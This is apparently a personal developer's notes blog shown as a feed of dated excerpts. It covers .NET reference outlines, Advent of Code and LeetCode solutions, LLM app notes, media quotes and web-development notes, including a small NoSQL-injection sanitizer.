Augmenting LLMs with Retrieval/Memory
- Can Long-Context Language Models Subsume Retrieval, RAG, SQL, and More?
- Contextual Retrieval
- MemGPT: Towards LLMs as Operating Systems
Multimodal AI Agents
Multi-agent Systems and Future Research Areas
- Multi-agent Fine-tuning: Self Improvement with Diverse Reasoning Chains
- Mixture-of-Agents Enhances Large Language Model Capabilities
- CodeMonkeys: Scaling Test-Time Compute for Software Engineering

.NET

Sun, 06 Jul 2025 00:00:00 +0000

My current role is on a .NET project. Get good at navigating this ecosystem. Using Advent of Code 2024 in C# as the playground.

C# Language Reference

Language Version
Types:
- Built-in Types; Value Types (integral; floating-point; bool; char; enumeration; struct; ref struct; tuple; nullable value); Reference Types (Built-in reference types; record; class; interface; nullable reference types; collections; arrays); Void; Unmanaged Types; Default Values.
Keywords
- Modifiers; Statement; Method Parameters; Namespace; Generic Type Constraint; Access; Literal; Contextual; Query.
Operators and Expressions
- Arithmetic; Boolean Logical; Bitwise and Shift; Collection; Equality; Comparison; Member Access; Type-Testing; User-Defined Conversion; Pointer-Related; Assignment; Lambda; Patterns; + and +=; - and -=; ?:; ! (null-forgiving); ?? and ??=; =>; ::; await; default; delegate; is; nameof; new; sizeof; stackalloc; switch; true and false; with; Deconstruction; Operator Overloading.
Statements
- Declaration; Exception-Handling; Iteration; Selection; Jump; checked and unchecked; fixed; lock; using; yield.
Special Characters
- Comments; Discard; $ String Interpolation; @ Verbatim Identifier; """ Raw String Literal.
Attributes Read by the Compiler
- Global Attributes; Caller Information; Nullable Static Analysis; Miscellaneous; Pseudo-Attributes
Unsafe Code and Pointers
Preprocessor Directives
Compiler Options
- Language; Output; Input; Error and Warning; Code Generation; Security; Resources; Miscellaneous; Advanced.
XML Documentation Comments
- Generate API Documentation; Recommended Tags

.NET Tools and Diagnostics

.NET Software Development Kit (SDK)
- Environment variables; dotnet-install Scripts; global.json; Telemetry; Signed-Package Verification; Artifacts Output Layout; Error Messages.
.NET Command Line Interface (CLI)
- dotnet Command; Elevated Access; Tab Completion; Library Development; Create Templates.
Integrated Development Environment (IDE)
- Visual Studio; Visual Studio Code.
MSBuild and Project Files
- Project SDKs; Target Frameworks; Dependency Management.
Global and Local Tools
- Manage Tools; Troubleshoot Tools; Create CLI Tools.
Additional Tools
- Uninstall; Install; Self-Signed Certificates; WCF Web Service Reference Provider; WCF Service Utility; WCF Service XML Serializer; XML Serializer Generator.
Diagnostics and Instrumentation
- Managed Debuggers; Logging & Tracing; ILogger; Observability with OpenTelemetry; Resource Monitoring; App Health Checks; Metrics; Distributed Tracing; Specialized Diagnostics; .NET CLI Global Tools; Unmanaged API.
✅ Code Analysis
- Configuration; General Options; Config Files; Suppressing Warnings; Code Quality Rules; Code Style Rules; Platform Compatibility Analyzer; Portability Analyzer .
SYSLIB Diagnostics:
- Obsoletions; Experimental Features; Source-Generated Code.

.NET Fundamentals

Fundamental Coding Components
- Base Types
  - Common Type System; Language Independence; Type Conversion; Anonymous Types vs. Tuple Types; Class Library; System.Object; Nullable.
- Generic Types
  - Collections; Delegates; Math; Interfaces; Covariance and Contra-variance.
- Collections and Data Structures
  - Selection; Commonly Used Types; Selecting Generic Collections; Comparisons and Sorts; Sorted Collection Types; Hashtable and Dictionary Types; Thread-safe Collections.
- Delegates and Lambdas
- Enumerations: Enum and FlagAttribute
- Events
  - Raise and Consume Events; Handle Multiple Events; Observer Design Pattern.
- Exceptions
  - try-catch Block; Catching Specific Exceptions; Explicitly Throwing; User-Defined Exceptions (with Localized Messages); finally Blocks; User-Filtered Exception Handlers; COM Interop Exceptions; Best Practices.
- Numeric Types
  - Boolean; Byte; Decimal; Double; Int32; Int64; BigInteger; Complex; Single.
- Dates, Times, and Time Zones
  - Choosing Between Types; Work With Calendars; DateOnly and TimeOnly; Arithmetic Operations; TimeProvider for Predictability; Support in System.Text.Json; Time Zones; DateTime; TimeSpan.
- Attributes
  - Applying Attributes; Custom Attributes; Retrieve Information Stored in Attributes.
- Performance-Related Types
  - Memory<T>; Span<T>; SIMD-Enabled Types; Value Tuples.
Runtime Libraries
- Format Numbers, Dates, and Other Types
  - Numeric Format Strings; Date and Time Format Strings; TimeSpan Format Strings; Enumeration Format Strings.
- Work with Strings
  - Character Encoding; Comparing; Displaying and Persisting Formatted Data; Basic String Operations; Parse (Convert) Strings; String; Char; StringComparer; Encoding; Regex; Rune; StringBuilder.
- Regular Expressions
  - Language Reference (Escapes; Character Classes; Anchors; Grouping; Quantifiers; Backreference; Alternation; Substitutions; Options; Miscellaneous Constructs); Object Model; Backtracking; Compilation and Reuse; Source Generation; Best Practices.
- Serialization
  - JSON; XML and SOAP; Binary; DataContractAttribute; DataContractSerializer IExtensibleDataObject; XsdDataContractExporter.
- System.CommandLine
  - Syntax; Define Commands; Model Binding; Tab Completion; Dependency Injection; Customize Help; Handle Termination; Use Middleware.
- File and Stream I/O
  - File Path Formats; Common I/O Tasks; Async File I/O; I/O Errors; Isolated Storage; Pipes; Pipelines; Work with Buffers; Memory-Mapped Files; FileStream; FileSystemWatcher.
- System.AppContext
- System.Console
- System.Random
- Artificial Intelligence
  - IChatClient (and Middleware); Chat Completion; Tool Calling; Caching Responses; Telemetry; ChatOptions; Functionality Pipeline; Dependency Injection; IEmbeddingGenerator (and Middleware).
- Dependency Injection
- Configuration
  - Providers; Source Generation; Custom Providers; Options Pattern; Options Validation Source Generation; Options Pattern Guidance for Library Authors.
- Logging
  - Providers; Source Generation; Guidance for Library Authors; Custom Providers; High Performance Logging; Console Log Formatting.
- HostBuilder (Generic Host)
- Resilience
- Networking
  - Availability; IPv6; Service Discovery; HTTP; Sockets; WebSockets; Security; QUIC; Telemetry.
- File Globbing
- Primitives Library
- Globalization and Localization
  - ICU; Culture-Insensitive String Operations; Best Practices; Localizability Review; CompareInfo, CompareOptions; CultureAndRegionInfoBuilder; CultureInfo; DateTimeFormatInfo; NumberFormatInfo; PersianCalendar; RegionInfo; SortKey; SortVersion.
- Resources in .NET Apps
  - .resx Files; Satellite Assemblies; Package and Deploy Resources; Retrieve Resources.
- Worker Services
  - Queue Service; Scoped Services within a BackgroundService (for scoped services, window services); IHostedService; Deploying a Worker Service.
- Caching
- System.Threading.Channels
- Math Operations: System.MidpointRounding
- Win32.Registry
- Uri
- Reflection: System.Type
- Graphics: System.Drawing.Drawing2D.Matrix
- InternalsVisibleToAttribute
- RuntimeHelpers
- System.Runtime.Versioning.Component GuaranteesAttribute
- AssemblyLoadContext
- ProcessStartInfo
- Environment
Execution Model
- Common Language Runtime (CLR)
- Managed Execution Process
- Assemblies
  - Contents; Manifest; Security Considerations; Versioning; Side-by-Side Execution; File Format; Unload-ability; Reference Assemblies; Resolve Assembly Loads; Create Assemblies; Assembly Names; Fully Qualified Name; Location; Attributes; Strong-named Assemblies; Delay-Signing; Viewing Contents; Type Forwarding in the CLR; Friend Assemblies; Detecting Assemblies; Loading and Unloading; Embedded Types; Inspection using MetadataLoadContext.
- Reflection
  - View Type Information; Generic Types; Dynamically Load and Use Types; Access Custom Attributes; Fully Qualified Type Names; Emit Dynamic Methods and Assemblies; Metadata and Self-Describing Components.
- Dependency Loading
  - AssemblyLoadContext; Default Dependency Probing; Managed Assemblies; Satellite Assemblies; Unmanaged Libraries; Collect detailed Assembly Loading Information.
- Versioning
- Configure .NET Runtime Settings
  - Compilation; Debugging & Profiling; Garbage Collector; Globalization; Networking; Threading; Windows Presentation Framework (WPF).
- Troubleshoot App Launch Failures

ASP.NET Core

Fundamentals
- App Startup; Dependency Injection; Native Ahead of Time (AOT); Middleware (Rate Limiting; Minimal; Testing; Response Caching; Write; Request and Response Operations; Request Decompression; Factory-Based Middleware); Host (WebApplication; Generic Host; Web Host); Configuration; Options; Environments; Logging and Monitoring (HTTP; W3C; Health Checks; Built-in Metrics); HttpContext; Routing; Handle Errors; Make HTTP Requests; Map Static Files; Static Files; dotnet-scaffold Telemetry.
Web Apps
- Razor Pages (Filters; Conventions); MVC (Views; Partial Views; Controllers; Routing; Dependency Injection; Unit Test); Blazor (Supported Platforms; Tooling; Web Assembly Tooling and AOT; Hosting Models; Blazor Hybrid; Fundamentals; Components; Globalization and Localization; Forms; File Uploads and Downloads; JavaScript Interop; Call a Web API; Images and Documents; Security and Identity; State Management; Debug; Lazy Load Assemblies; WebAssembly Native Dependencies; Performance; Test Components; Progressive Web Applications; Host and Deploy; EF Core; Advanced Scenarios); Client-Side Development (Single Page Apps; LibMan; WebAssembly JS Interop; Grunt; Bundle and Minify; Browser Link); Session and State Management; Layout; Razor Syntax; Razor Class Libraries; Tag Helpers; Advanced.
APIs
- Controller-Based APIs (Action Return Types; JSON Patch Requests; Format Response Data; Custom Formatters; Analyzers; Conventions; Handle Errors; Test with HttpRepl); Minimal APIs (WebApplication; Route Handlers; Parameter Binding; Create Responses; Filters; Unit and Integration Tests; Middleware; Handle Errors; Authentication and Authorization); OpenAPI (Documents; Metadata; Tools).
Real-Time Apps
- Supported Platforms; Server Concepts (Hubs; Send from Outside a Hub; Users and Groups; API Design Considerations; Hub Filters); Clients (.NET; Java, JavaScript); Host and Scale (Azure App Service; Redis Backplane; SignalR with Background Services); Configuration; IHttpContextAccessor and HttpContext; Authentication and Authorization; Security Considerations; MessagePack Hub Protocol; Streaming; Compare SignalR and SignalR Core; WebSockets; Logging and Diagnostics; Troubleshooting; Hub Protocol; Transport Protocols.
Remote Procedure Call Apps
- gRPC Services with C#; Call gRPC Services with C#; gRPC Services with ASP.NET Core; gRPC in Browser Apps; Configuration; Authentication and Authorization; Error Handling; gRPC Interceptors; Logging and Diagnostics; Security Considerations; Performance Best Practices; Native AOT; Inter-Process Communication (Unix Domain Sockets; Named Pipes); Code-first Services and Clients; gRPC Health Checks; Managing Protobuf References; Testing with gRPCurl and gRPCui; Migrating from C-core; Why Migrate WCF to ASP.NET Core; Compare gRPC Services with HTTP APIs.
Best Practices
Servers
- HHTP.sys; Kestrel (Overview; Endpoints; Options; Diagnostics; HTTP/2; HTTP/3; Connection Middleware; Reverse Proxy; Host Filtering; Request Draining); Internet Information Services (IIS) (ASP.NET Core Module; In-Process and Out-of-Process Hosting; Hosting Bundle; web.config File; Visual Studio Support; IIS Modules; Logging and Diagnostics; Troubleshoot; Advanced Config; Transform web.config; HTTP/2; HTTP/3); YARP (Configuration; Proxy Features; Protocols ad Guidance; Extensibility; Deployment Options; Troubleshooting).
Test
- .NET Hot Reload; Visual Studio Dev Tunnels; Visual Studio .http Files; HttpRepl; Minimal API; Blazor; Razor Pages; MVC Controllers; Integration; Load and Stress Testing; Test Middleware.
Debug
- Visual Studio; Remote Debugging; Snapshot Debugging in Azure; Snapshot Debugging in Visual Studio; Visual Studio Dev Tunnels.
Troubleshoot
- Troubleshoot and Debug; Azure and IIS.
Code Analysis
Data Access
- dotnet scaffold in a Razor Pages Project; Entity Framework (EF) 6; Azure SQL Database with a Managed Identity; Azure Storage w/ Visual Studio.
Host and Deploy
- Azure App Service; DevOps; Windows Service; Linux with Nginx; Docker; Proxy and Load Balancer; Scaling Apps on Azure; Web Farm; Visual Studio Publish Profiles; Directory Structure.
Security and Identity
- Authentication; Authorization; Data Protection; Secrets Management; Enforce HTTPS; Docker with HTTPS; EU General Data Protection Regulations; Cross-Site Request Forgery; Open Redirect Attacks; Cross-Site Scripting; Enable Cross-Origin Requests; Share Cookies Among Apps; SameSite Cookies; IP Safe List; Application Security - OWASP.
Performance
- Caching; Rate Limiting Middleware; Timeouts Middleware; Memory and GC; Scaling Apps on Azure; Object Reuse with ObjectPool; Response Compression; Diagnostic Tools; Load and Stress testing; Event Counters.
Globalization and Localization
- Localizable Content; Provide Resources; Select Language/Culture; Portable Object Localization; Extensibility; Troubleshoot.
Advanced
- Model Binding; Model Validation; Compatibility Version; Write Middleware; Request and Response Operations; Request Decompression; URL Rewriting; File Providers; Request-Feature Interfaces; Access HttpContext; Change Tokens; Open Web Interface for .NET; Background Tasks with Hosted Services; Hosting Startup Assemblies; ASP.NET Core in Class Libraries; Microsoft.AspNetCore.App; Microsoft.AspNetCore.All; High Performance Logging; Using a File Watcher; Factory-Based Middleware.

.NET Aspire

App Host (Orchestration)
- Orchestrate Node.js and Python apps; Configuration; Dockerfiles; Networking; Eventing; External Params; Persistence Using Volumes.
Dashboard
- Standalone Mode; Configuration; Browser Telemetry; Security.
Testing
- Managing the App Host; Accessing Resources in Tests
Fundamentals
- Service Discovery; Service Defaults; Launch Profiles; Health Checks; Telemetry.
Integrations
- Apache Kafka; Azure; Dapr; Elasticsearch; Entity Framework Core; Keycloak; Milvus; MongoDB; MySQL; NATS; Orleans; PostgreSQL; Qdrant; RabbitMQ Service Broker; Redis; Seq; SQL Server; Community Toolkit.
Custom Integrations
- Hosting Integrations; Client Integrations; Secure Communication
Deployment
- Azure Container Apps; Application Insights; With a SQL Server Database; With Redis; Tool-Builder Manifest Schemas.
Troubleshooting
- Allow Insecure Transport; Untrusted Localhost Certificate; Installation; Specified Name Already in Use; Unhealthy Container Runtime; Missing Connection String; Discord & StackOverflow.

.NET Linting and Style Tooling

Sun, 06 Jul 2025 00:00:00 +0000

.NET compiler platform (Roslyn) analyzers are included in the .NET SDK and enabled by default in .NET 5 and later. Code analysis violations are prefixed with CA or IDE to differentiate them from compiler errors.

Not to be confused with CS-prefixed messages that are generated by the C# compiler.

Rule Categories

Rules fall in one of the following categories:

Design: Adherence to the design guidelines for .NET libraries .
Documentation: Correct use of XML documentation comments for externally visible APIs.
Globalization: World-ready libraries and applications.
Interoperability: Portability across platforms; interaction with COM clients.
Maintainability: Library and application maintenance.
Naming: Naming conventions of the .NET design guidelines.
Performance: High-performance libraries and applications.
SingleFile: Single-file applications.
Reliability: Library and application reliability, e.g., thread usage.
Security: Prevent security flaws in your program.
Style: Consistent code style.
Usage: Proper usage of .NET.

JSON Serialization in .NET

Sat, 05 Jul 2025 00:00:00 +0000

Serialization converts the state of an object (the value of its properties) into a form that can be stored/transmitted. The serialized form doesn’t include any information about an object’s associated methods.

System.Text.Json emphasizes high performance and low memory allocation over an extensive feature set. It has built-in UTF-8 support because UTF-8 is the most prevalent encoding for data on the web and files on disk.

How to Serialize and Deserialize .NET Objects

To write JSON to a string, call JsonSerializer.Serialize. To read from a JSON string, call JsonSerializer.Deserialize<T>. For example:

AoC 2024 Day 03: Mull It Over

Wed, 02 Jul 2025 00:00:00 +0000

Data

The computer appears to be trying to run a program, but its memory is corrupted. All of the instructions have been jumbled up!

It seems like the goal of the program is just to multiply some numbers. It does that with instructions like mul(X,Y) where X and Y are each 1-3 digit numbers. For instance, mul(44,46) multiplies 44 and 46 to get a result of 2024.

However, because the program’s memory has been corrupted, there are also invalid characters that should be ignored, even if they look like a mul instruction. Sequences like mul(4*, mul(6,9!, ?(12,34), or mul ( 2 , 4 ) do nothing.

AoC 2024 Day 02: Red-Nosed Reports

Mon, 30 Jun 2025 00:00:00 +0000

Data

The unusual data consists of many reports, one report per line. Each report is a list of numbers called levels that are separated by spaces. For example:

To parse:

namespace AoC2024;

public static partial class RedNosedReports
{
 private static IEnumerable<IEnumerable<int>> GetReports(string filePath)
 {
 using StreamReader inputReader = new(filePath);
 string? line;
 while ((line = inputReader.ReadLine()) != null)
 {
 yield return line.Split().Select(int.Parse);
 }
 }
}

Part One

The Red-Nosed reactor safety systems can only tolerate levels that are either gradually increasing or gradually decreasing. So, a report only counts as safe if both of the following are true:

AoC 2024 Day 01: Historian Hysteria

Wed, 25 Jun 2025 00:00:00 +0000

Day 1 - Advent of Code 2024: Historian Hysteria. Eric Wastl. adventofcode.com . Accessed Jun 25, 2025.

Data

There’s just one problem: by holding the two lists up side by side, it quickly becomes clear that the lists aren’t very similar. Maybe you can help The Historians reconcile their lists?

For example:

To parse the input:

Popping Bubbles Game for Computer-Use Models

Wed, 11 Jun 2025 00:00:00 +0000

This page shows bubbles at random locations on the screen. To get the highest score, click on the bubble as soon as it appears. To restart the game, refresh the page.

Game starts in seconds. Game ends in seconds

Your score is 0, P75 reaction time is $\infty$ms.

Copilot in VS Code

Sun, 01 Jun 2025 00:00:00 +0000

My work is primarily in Microsoft’s ecosystem, so learning Copilot usage in VS Code is pretty important. If not for my own productivity gains, then for having knowledgeable conversations with coworkers about using LLMs as a SWE.

Copilot-Powered Scenarios

AI Code Completions

I’ve found code completions more distracting than useful. Probably because I already have an idea of what I want to type, and Copilot’s hallucinations slow me down. I’ve turned this off in my IDE.

Attributes and Reflection in C#

Tue, 08 Apr 2025 00:00:00 +0000

When you compile code for the runtime, it is converted into common intermediate language (CIL) and placed inside a portable executable (PE) file along with metadata generated by the compiler. Attributes allow you to place extra descriptive information into metadata that can be extracted using runtime reflection services.

Example of reflection in C#: All types descended from the System.Object base class (the root of the type hierarchy in .NET) inherit the GetType() method.

Building with LLMs

Sun, 06 Apr 2025 00:00:00 +0000

Emerging LLM App Stack. Credits: a16z.com

Design Pattern: In-Context Learning

Betting on the LLM’s context window increasing doesn’t pay off. As the input approaches the limits of the context window, inference time and accuracy degrade.

Instead, the typical workflow of in-context learning is:

Data Pre-processing/Embedding. Compute and store embeddings of the private data in a vector database.
Prompt Construction/Retrieval. On user input, compile a prompt from a hard-coded template with few-shot examples, information retrieved from external APIs, and a set of relevant documents retrieved from the vector database.
Prompt Execution/Inference. Submit the compiled prompt to a pre-trained LLM for inference. Can add logging, caching, and validation at this stage.

The in-context learning reduces the AI problem into a data engineering problem.

LLM Evals

Sun, 06 Apr 2025 00:00:00 +0000

Notable Benchmarks

Some notable benchmarks in language modeling:

MMLU: 57 tasks spanning elementary math, US history, computer science, law, and more.
EleutherAI Eval: Unified framework to test models via zero/few-shot settings on 200 tasks from various evals, including MMLU.
HELM: Evaluates LLMs across domains; tasks include Q&A, information retrieval, summarization, text classification, etc.
AlpacaEval: Measures how often a strong LLM (e.g., GPT-4) prefers the output of one model over a reference model.

Governing Bodies

Sun, 23 Feb 2025 00:00:00 +0000

Who guides the evolution of programming languages?

JavaScript

The European Computer Manufacturers Association (ECMA) manages and prioritizes proposals written by community members to decide what’s included in each spec. When a proposal gets traction, it’s up to the browser vendors (e.g., Chromium) to implement the features.

contains the published standards, e.g., . Conveniently, contains a summary of what each annual release introduced to JavaScript.

References

Learning React: Modern Patterns for Developing React Apps. Ch 2. JavaScript for React. Alex Banks; Eve Porcello. www.oreilly.com . 2020. ISBN: 9781492051725 .
TC39 ECMAScript: Published Standards. ecma-international.org . Accessed Feb 23, 2025.
ECMAScript® 2024 Language Specification. 262.ecma-international.org . Accessed Feb 23, 2025.

Calculators

Mon, 17 Feb 2025 00:00:00 +0000

Android Calculator

Making a precise calculator is not trivial. While $10^{100} + 1 - 10^{100} = 1$, iOS’s calculator gives back $0$. explores how Android’s calculator gets this right courtesy of .

Real number representations are fundamentally imprecise because we can’t squeeze in infinitely many real numbers into a finite number of bits. Floating-point representations have a base $\beta$ (assumed to be even) and a precision $p$, e.g., if $\beta = 10$ and $p = 3$, then $0.1$ is represented as $1.00 \times 10^{-1}$. IEEE 754, a dominant floating point representation, requires $\beta = 2, p = 24$ for single precision and $p = 53$ for double precision. In IEEE 754, $0.1$ cannot be represented exactly as $1/10$ is not a factor of $2$; it is approximately $1.10011001100110011001101 \times 2^{-4}$.

UX for LLMs

Sun, 16 Feb 2025 00:00:00 +0000

`tldraw.com`’s Take on an LLM Canvas

is a library for creating infinite canvas experiences in React.

In UX history, chat has tended to precede canvas. From running computers from the command prompt to using the screen as a canvas via a mouse. Mobile phones went from being keypad oriented into a canvas where the finger controls the touchscreen. Where are the canvases for LLMs?

Multi-modal models, e.g., GPT-4 and Gemini, can take image, video, and text inputs, and produce output.

WWW Watering Hole

Sun, 09 Feb 2025 00:00:00 +0000

As the web evolves, where do practitioners congregate and exchange ideas?

Working Groups

develops standards and guidelines to help everyone build a web based on the principles of accessibility, internationalization, privacy and security.

publishes standards and drafts , which are then implemented by browser vendors, e.g., Chromium, Firefox, and Safari. Topics of interest: accessibility, browser, CSS, data, DOM, digital publishing, graphics, HTML, HTTP, internationalization, media, performance, privacy, protocol, security, web API, web fonts, Web of Things (WoT), and XML.

Leviathan

Sun, 12 Jan 2025 00:00:00 +0000

MR. SENDA. Wh-what if the rescue ship doesn’t get here by then?!
ROBOT. Once oxygen runs out… all the passengers will die. Except for me, of course.
MR. SENDA. This is how you handle emergencies around here?!
ROBOT. We are a budget spaceline.

MR. SENDA. Sometimes it’s best not to tell the truth! A leader’s responsibility is to try and solve problems while keeping quiet about them. After all, you’re just kids! It would be dangerous to divulge information that could cause widespread panic. And if, by some horrible twist of fate, help doesn’t reach us before we run out of time… your classmates would surely be better off not knowing, don’t you think?

3 Maps: Locator, Topographical, and Treasure

Sat, 11 Jan 2025 00:00:00 +0000

These maps already exist but are obscured to you. Be alert to facts that affect your projects or organization. Continually sift information out of the noise around you, e.g., a shift in corporate priorities could mean a platform you’d considered but backburnered has become an amazing investment.

The Locator Map: Getting Perspective

Time you spend absorbed in any domain increases your depth and understanding, but it comes with some risks, e.g.

Using LLMs to Enhance My Capabilities

Tue, 24 Dec 2024 00:00:00 +0000

Sample Use Cases

LLMs are increasingly here to stay despite the reservations . How can I use them to enhance my capabilities?

Look out for the Gell-Man amnesia effect. You prompt the LLM on some subject you know well. You read the response and see the LLM has absolutely no understanding of either the facts or the issues. In any case, you read with exasperation or amusement the multiple errors in the response, and then ask it about something else, and read the response as if it’s more accurate than the baloney you just read.

Arcane

Fri, 29 Nov 2024 00:00:00 +0000

Arcane. www.netflix.com . Accessed Nov 29, 2024.

VANDER. You know, but you don’t know. When people look up to you, you don’t get to be selfish.
VI. I’m not…
VANDER. You say run, they run. You say swim, they dive in. You say light a fire, they show up with oil. But whatever happens, it’s on you.

Consistent Hashing

Wed, 27 Nov 2024 00:00:00 +0000

The term “consistent hashing” makes me think of hashing without randomization. Why isn’t every hash consistent by definition? For example, a map implementation would need consistent hashing lest it’s inaccurate when searching for stored values. Or is consistent hashing a tradeoff between collision-resistance and speed?

Web Caching

Web caching was the original motivation for consistent hashing. With a web cache, if a browser requests a URL that is not in the cache, the page is downloaded from the server, and the result is sent to both the browser and the cache. On a second request, the page is served from the cache without contacting the server.

Why Have We Stopped?

Fri, 22 Nov 2024 00:00:00 +0000

Stuck in Traffic

Thinking through both sides of these scenarios can help me reduce the times when I (or my team) is the blocker.

Blocked By Another Team

Understand and explain. Why is the work is important? What do you want from them and by when? Give them another chance to indicate feasibility and/or alternatives.

Make the work easier. Can you ask for a smaller subset of features? Can you help unblock their dependencies. Note that supporting your foray into their code base might cost them more in support and they might decline your offer.

Poison Ivy (2022-)

Sun, 17 Nov 2024 00:00:00 +0000

Poison Ivy. G. Willow Wilson; Marcio Takara. www.dc.com . www.hoopladigital.com . Accessed Nov 17, 2024.

Ivy is usually used to explore the continuum between environmental activism and eco-terrorism. Contrasts with Swamp Thing who is portrayed as a heroic figure.

IVY. I don’t like killing animals. In fact, I don’t like killing anybody. But here’s the thing. Humankind has warped the natural order so completely that even out food has become an ecological cancer. These cattle were never meant to be here. The native species that evolved in harmony with this land starve beneath their hooves. The kindest thing to do is give them back to the earth. To let them nourish the creatures that they would otherwise destroy.

Leading Big Projects

Sat, 16 Nov 2024 00:00:00 +0000

Create clarity for everyone such that they know what they need to do and how it fits into the bigger picture.
Communicate openly. Give team members a stage to be publicly competent.
Pick up the grunt work that others might not find enjoyable.
Allocate time for support work, e.g., reviewing user feedback and error reports.

Usually, the reason a project is difficult isn’t that you’re pushing the boundaries of technology, it’s that you’re dealing with ambiguity: unclear direction; messy, complicated humans; or legacy systems with behavior you can’t predict.

Finite Time as a SWE

Sun, 20 Oct 2024 00:00:00 +0000

Deliberately choose what to work on. Part of that is getting priority communicated by interested shareholders.

Empower less-experienced engineers so that they’re confident tackling different problems instead of me having to pick up said problems.

Improve my investigation and writing skills so that I can give folks enough context to execute on their own. Mostly communicating intent and trusting others to figure out the nitty gritty details.

Wonder Woman Historia

Sat, 05 Oct 2024 00:00:00 +0000

Wonder Woman Historia: The Amazons. Kelly Sue DeConnick; Phil Jimenez; Gene Ha; Nicola Scott. www.dc.com . wonder-woman.fandom.com . www.hoopladigital.com . Accessed Oct 5, 2024.

The subjugations and abuses of not-men by men are too numerous to catalog in a library… let alone a book. “It’s just his nature,” they say. We say nature may be brutal, but it is not sinister. But if it were in his nature to dominate his sisters, t’would be an instinct garrisoned by civility. For the institutions of men care not for the weal of women. You don’t have to be Queen of Gods to recognize injustice. Can you imagine what it would feel like to bear witness across millennia?

NBA 2K25: MyNBA

Sat, 31 Aug 2024 00:00:00 +0000

MyNBA is my favorite playing mode in NBA 2K. Starting out as the GM of the Seattle Supersonics in 1983, how well can I steer the franchise?

Playing all 82 games per season would need $82 \text{ games/season} \times 41 \text{ seasons} \times 20 \text{ min/game} \approx 47 \text{ days}$ to catch up to today’s NBA and that’s not accounting for the playoffs. Simulating games is the way to go; might help improve my understanding of the game.

Minimum Penalty for a Shop

Sun, 21 Jul 2024 00:00:00 +0000

Minimum Penalty for a Shop. leetcode.com . Accessed Jul 21, 2024.

Problem

You are given the customer visit log of a shop represented by a zero-indexed string customers consisting only of characters N and Y. If the $i^{th}$ character is Y, it means that customers come at the $i^{th}$ hour, whereas N indicates that no customers come at the $i^{th}$ hour.

Shortest Path in a Grid w/ Obstacles Elimination

Sun, 21 Jul 2024 00:00:00 +0000

Shortest Path in a Grid with Obstacles Elimination - LeetCode. leetcode.com . Accessed Jul 21, 2024.

Problem

You are given an $m \times n$ grid where each cell is either 0 (empty) or 1 (obstacle). You can move up, down, left, or right from and to an empty cell in one step.

Return the minimum number of steps to walk from the upper left corner $(0, 0)$ to the lower-right corner $(m-1, n-1)$ given that you can eliminate at most $k$ obstacles. If it is not possible to find such a walk, return -1.

Minimizing Bottom-Right Paths in a 2xN Grid

Sat, 20 Jul 2024 00:00:00 +0000

Grid Game - LeetCode. leetcode.com . Accessed Jul 20, 2024.

Problem

You are given a 0-indexed 2D array grid of size $2 \times n$, where grid[r][c] represents the number of points at position $(r, c)$ on the matrix. Two robots are playing a game on this matrix.

Both robots initially start at $(0, 0)$ and want to reach $(1, n-1)$. Each robot may only move to the right or down.

Queen's Movements on a Chessboard w/ Obstacles

Sat, 20 Jul 2024 00:00:00 +0000

Queen's Attack II. www.hackerrank.com . Accessed Jul 20, 2024.

Problem

A queen is standing on an $n \times n$ chess board. The chess board’s rows are numbered from $1$ to $n$, going from bottom to top. Its columns are numbered from $1$ to $n$, going from left to right. Each square is referenced by a tuple $(r, c)$, describing the row, $r$, and column, $c$, where the square is located.

Testing in a Monorepo

Sat, 22 Jun 2024 00:00:00 +0000

Testing Web Components

While any test framework can work, it’s better to test web components in a browser environment because that’s where they’ll be used. Node-based frameworks would require too much shimming of DOM calls that’d make the tests unrepresentative. and are good options for browser-based testing.

is powered by ES-build, and so is the client-side of the app; let’s go down this path and see where it leads. CommonJS modules don’t work in the browser . Earlier on , using ESM on the server turned out difficult. Hopefully, that doesn’t me bite back now.

Database Layer

Sun, 16 Jun 2024 00:00:00 +0000

Currently using MongoDB’s free tier, which has shared RAM, and up to 5GB of storage . So far, the overall DB usage has been less than 5MB.

Query Injection

Current State of Affairs

Currently have this protection implemented back in 2018:

/**
 * @description Prevent a NoSQL Injection in the search parameters. This is
 * achieved by deleting all query values that begin with `$`.
 */
export function sanitizeQuery(query: any) {
 const keys = Object.keys(query);
 for (let i = 0; i < keys.length; i++) {
 if (/^\$/.test(query[keys[i]])) { delete query[keys[i]]; }
 }
 return query;
}

Continuous Integration Tooling

Sun, 09 Jun 2024 00:00:00 +0000

What automatic tools can I add to keep code quality high?

CodeQL

CodeQL is a tool that runs variant analysis on code. The idea is that we create a query from a known vulnerability, e.g., SQL injection, and then run it against a codebase to find instances of that vulnerability. GitHub authorizes the use of CodeQL for public repos, and so we are covered . ql-analysis.sh has a recipe for running the analysis locally in the repo. CodeQL also runs on every PR, and blocks check-in if new vulnerabilities are discovered.

Of Stale UI and Re-renders

Tue, 28 May 2024 00:00:00 +0000

More than once, I’ve been surprised by a web component either showing data that should no longer be there, or not showing data that should be there. This page aims to reason through such cases for a better mental model of web components.

Rendering Lists

Both <search-bar> and <search-results> need to render a collection of N items. offers two options: looping, or using the repeat(items, keyFunction, itemTemplate) directive.

const cards = html`
 ${cards.map(
 (card) => html`<div><input type="checkbox">${card.title}</div>`
 )}
`;

const template2 = html`
 ${repeat(
 cards, (card) => card.id
 (card) => html`<div><input type="checkbox">${card.id}</div>`
 )}
`;

When performing updates, repeat moves DOM nodes, while map reuses DOM nodes. This is also beneficial when there is some part of the node that isn’t controlled by a template expression because repeat will keep that state, e.g, in the example above, the checked property. If none of these apply, then map or loops can be used over repeat.

Inheritance

Sun, 05 May 2024 00:00:00 +0000

Mixins

Introduced to mixins by . Didn’t know that there are passionate advocates for this, e.g., ’s “You can even look at normal subclass inheritance as a degenerate form of mixin inheritance where the superclass is known at class definition time, and there’s only one application of it.”

A mix-in is an abstract subclass. This technique is especially useful in languages where a class can only have a single superclass.

const calculatorMixin = (Base) =>
 class extends Base {
 calc() {}
 };

const randomizerMixin = (Base) =>
 class extends Base {
 randomize() {}
 };

class Foo {}
class Bar extends calculatorMixin(randomizerMixin(Foo)) {}

Markup Features

Sat, 27 Apr 2024 00:00:00 +0000

Syntax Highlighting

Previously, we’d highlight code on the client by loading src/lib/highlight.pack.js, a bundle downloaded from but served from our domain, and then execute hljs.highlightBlock on demand, e.g., on page load, when showing a card, etc. This doesn’t work well with a web-component-centric design. Running hljs.highlightBlock through possible Shadow DOM boundaries is a hassle.

Back in 2018 , we installed highlightjs, a shim for the official HighlightJS. Times have changed and has an official Node package, highlight.js . Now, on the server, compute the syntax-highlighted HTML and have it stored in Card.descriptionHTML. All that’s left is to provide CSS on the client.

Of Builds and Bundlers
